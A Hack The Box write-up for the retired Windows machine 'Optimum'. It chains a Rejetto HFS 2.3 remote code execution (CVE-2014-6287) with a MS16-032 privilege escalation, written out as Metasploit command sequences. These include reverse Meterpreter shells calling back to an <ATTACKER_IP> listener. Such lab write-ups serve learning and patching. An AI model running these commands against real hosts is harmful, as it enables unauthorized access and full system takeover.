root@thehacksparrow:~/writeups$ SYSTEM ONLINE
root@sparrow:~/writeups$ cat optimum.md
// writeups

Optimum

18 Mar 2017 · 7 min read
Optimum - maquina de Hack The Box

Executive summary — Optimum is a classic-chain Easy Windows box: a Rejetto HTTP File Server (HFS) 2.3 vulnerable to RCE (CVE-2014-6287) gives a shell as user kostas; then an unpatched Windows falls to a local exploit, MS16-032 (Secondary Logon, CVE-2016-0099), up to SYSTEM. A HFS RCE → user → local exploit suggester → SYSTEM path.

PlatformHack The Box
Operating systemWindows
DifficultyEasy
StatusRetired
Target IP10.129.9.132

Attack map

[80] Rejetto HFS 2.3 (HttpFileServer)
   │  CVE-2014-6287 — null byte in the macro parser → RCE
   ▼
[SHELL]  meterpreter as OPTIMUM\kostas  (user.txt.txt)
   │  local_exploit_suggester → MS16-032 (Secondary Logon, CVE-2016-0099)
   ▼
[SYSTEM]  NT AUTHORITY\SYSTEM  (root.txt)

1. Reconnaissance

We start with a targeted port scan: we only care about what's behind 80/tcp.

nmap -sC -sV -p80 10.129.9.132
80/tcp  open  http  HttpFileServer httpd 2.3

The key detail: the server identifies as HFS 2.3 (Rejetto HTTP File Server), a lightweight file-sharing application and, more importantly, a version with a well-known critical RCE dating back to 2014 — fingerprint the exact version (-sV) and half the box is solved.

2. Identify the vulnerability — CVE-2014-6287

searchsploit "HFS 2.3"
Rejetto HTTP File Server (HFS) 2.3.x - Remote Command Execution   ...

What CVE-2014-6287 is (CVSS 10.0): the bug lives in findMacroMarker, inside parserLib.pas — the module HFS uses to interpret template macros ({.exec|command.}) embedded in its requests. The regular expression that validates those macros mishandles a null byte (%00): inserting one into the search parameter makes the regex stop treating the rest of the string as plain text and execute the macro's contents as a system command. In practice: an unauthenticated HTTP request with %00{.exec|command.} in search is enough for remote command execution. It affects HFS 2.3, 2.3a and 2.3b; fixed in 2.3c. Metasploit automates it with exploit/windows/http/rejetto_hfs_exec.

3. Exploitation → shell as kostas

We load Metasploit, search for the module, and configure it with the target and our listener:

msfconsole
search rejetto
use exploit/windows/http/rejetto_hfs_exec
set RHOSTS 10.129.9.132
set RPORT 80
set LHOST <ATTACKER_IP>
set LPORT 4444
show options
run
[*] Meterpreter session 1 opened
getuid  →  OPTIMUM\kostas

We have initial access as kostas, an unprivileged user.

4. User flag

We drop into a Windows shell inside Meterpreter to browse the filesystem normally:

shell
whoami
optimum\kostas
cd C:\Users\kostas\Desktop
dir

Curious detail: the flag on the desktop isn't named user.txt but user.txt.txt (double extension) — a good reminder to always dir/ls before assuming a file's exact name.

type user.txt.txt
exit

5. Local enumeration to escalate

We background the session and use the local exploit suggester, which compares the system's version and patch level against Metasploit's local-exploit database to propose escalation paths:

background
search local_exploit_suggester
use post/multi/recon/local_exploit_suggester
set SESSION 1
run
exploit/windows/local/ms16_032_secondary_logon_handle_privesc
The service is running, but could not be validated.

The module itself warns that it can't fully validate whether the service is exploitable — it's a heuristic suggestion, not a guarantee. Still, on an unpatched Windows 7/2008 box it's the usual path, so it's worth a shot.

6. Escalation — MS16-032 (CVE-2016-0099)

What MS16-032 is: a privilege-escalation flaw in Windows' Secondary Logon service (Microsoft's March 2016 bulletin, patched by KB3143141). The CreateProcessWithTokenW and CreateProcessWithLogonW APIs, although called from the user's own process, are actually dispatched over RPC to the Secondary Logon service, which runs as SYSTEM. That service failed to properly sanitize the standard handles (STARTF_USESTDHANDLES) passed to it, which — combined with a race condition while duplicating tokens — lets an unprivileged process end up inheriting a privileged handle and launch a new process as NT AUTHORITY\SYSTEM.

use exploit/windows/local/ms16_032_secondary_logon_handle_privesc
set SESSION 1
set LHOST <ATTACKER_IP>
set LPORT 4445
show options
run
[+] Holy handle leak Batman, we have a SYSTEM shell!!
[*] Meterpreter session 2 opened

Useful detail: the new session may still show the C:\Users\kostas\Desktop path, but what matters is the privilege context, not the current directory. Always confirm with getuid.

getuid  →  NT AUTHORITY\SYSTEM

7. Confirming SYSTEM access

shell
whoami
nt authority\system

8. Root flag

cd C:\Users\Administrator\Desktop
dir
type root.txt

System fully compromised. 🏴‍☠️

Vulnerability summary

PhaseComponentVulnerabilityImpact
FootholdRejetto HFS 2.3CVE-2014-6287 — findMacroMarker mishandles null bytes → macro injection {.exec|…} (remote RCE, CVSS 10.0)Shell as kostas
PrivEscWindows — Secondary LogonMS16-032 / CVE-2016-0099 — race condition handling duplicated handles/tokensSYSTEM

Lessons learned

  • Fingerprint the exact version (-sV) — half the box: HFS 2.3 → CVE-2014-6287 instantly.
  • Unmaintained software (HFS hasn't been updated in over a decade) equals a known RCE waiting to be triggered.
  • Patch the system: MS16-032 (CVE-2016-0099) only works on Windows missing the March 2016 update (KB3143141).
  • The local exploit suggester after a limited shell is the logical step to find an escalation path — even though it admits it can't fully validate its own suggestions.
  • Confirm privileges via getuid/whoami, never the current path: a SYSTEM session can still "live" inside a normal user's desktop.
  • Never assume a filename: listing the directory (dir) before reading the flag avoids surprises like user.txt.txt.